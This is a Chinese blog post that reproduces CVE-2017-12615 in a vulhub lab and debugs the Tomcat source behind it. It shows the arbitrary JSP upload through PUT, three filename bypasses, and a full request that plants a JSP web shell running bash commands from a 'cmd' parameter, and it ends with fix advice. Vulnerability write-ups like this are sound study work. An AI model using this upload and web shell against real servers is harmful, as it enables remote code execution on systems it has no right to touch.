Post

Tomcat(CVE-2017-12615)漏洞复现与分析

应用介绍

Tomcat 是 Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的 Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。另外,Tomcat 和 IIS 等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.14

漏洞介绍

在 Tomcat 官网页面,整理出历史以来存在的漏洞,这里只进行 CVE-2017-12615 的漏洞复现。

1

从上图可知,该漏洞存在的原因是 Tomcat 配置不当,造成攻击者可通过上传 JSP 文件从而造成RCE。

影响范围是 7.0.0 到 7.0.79。

漏洞危害

任意文件写入,RCE。

漏洞原理

由于 Tomcat 配置不当,将配置文件 conf/web.xml 中的 readonly 设置成 false (默认设置为 true)时,导致可以使用 PUT 方法上传任意文件。

环境搭建

通过 vulhub 上的环境进行复现,使用 docker-compose 命令配置环境即可。

计算机 IP
Kali 192.168.174.128
Win10 192.168.174.1
Victim 192.168.174.141

漏洞复现

配置好环境后访问 Victim 的 8080 端口,看到 Tomcat 的版本是 8.5.19

2

访问默认页面使用的是 GET 方法,试试用 PUT 方法写入一个文件时返回 201

3

在 Victim docker 容器中可以看到已成功创建 a.txt 文件。

1
2
root@eeca7819c871:/usr/local/tomcat/webapps/ROOT# cat a.txt
gg

不过在上传 JSP 文件时返回 404 状态码,并且上传不成功,这里我们就需要进行绕过,有以下三种方法:

  1. PUT /a.jsp%20 HTTP/1.1

    因为 Windows 上不允许文件以空格结尾,上传到 Windows 会被自动去掉末尾空格,在 linux 上不能自动去掉末尾空格

  2. PUT /a.jsp::$DATA HTTP/1.1

    Windows 上 NTFS 流

  3. PUT /a.jsp/ HTTP/1.1

    / 在文件名中是非法的,上传后会被去除(Linux/Windows)

因为这里是 linux 环境,就采用第三种方法进行上传文件绕过,请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /d.jsp/ HTTP/1.1
Host: 192.168.174.141:8080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 509

<%new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]=request.getParameter(\"cmd\");process=java.lang.Runtime.getRuntime().exec(s);process.waitFor();inputStream=process.getInputStream();var ByteArray=Java.type('byte[]');var bytes=new ByteArray(inputStream.available());inputStream.read(bytes);response.getOutputStream().write(bytes);", new javax.script.SimpleBindings(new java.util.HashMap() {{put("response", response);put("request", request);}}));%>

漏洞分析

在IDEA中调试 Tomcat 源码,环境配置可参考这篇文章。之前我们在 conf/web.xml 文件中添加了 readonly,并且其中涉及到 DefaultServletJspServletDefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,默认配置情况是:

5

jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认是由 org.apache.catalina.servlets.DefaultServlet 处理。因此我们在 org.apache.catalina.servlets.DefaultServlet.doPut 方法处下断点(文件路径在项目根目录下:src/main/java/org/apache/catalina/servlets/DefaultServlet.java)。

6

之后进行 debug 调试启动(点击小虫),我们发起 PUT 请求时IDEA将会停止在断点处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PUT /5.jsp/ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=A72ED10A13E6044296FB5B3C1FAA318E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Length: 3

gga

7

跟进代码,这里进行文件写入,可以看到目前文件名是 /5.jsp/

8

之后跟进到 rebind() 方法,可以看到写入文件时去掉了末尾的 /, 最后成功创建文件。

9

漏洞验证

编写 python 脚本实现上述操作,具体可查看这里

也可以使用 Xray 进行批量漏洞验证,通过查看它的 POC 文件,我们知道他也是将我们上述的操作自动化执行,并且也会在服务器上创建文件。

4

修复建议

  1. 检查配置文件,设置 readonlyTrue ;
  2. 更新到最新版本。

总结

上传 JSP 文件的三种绕过方式。

Ref.

This post is licensed under CC BY 4.0 by the author.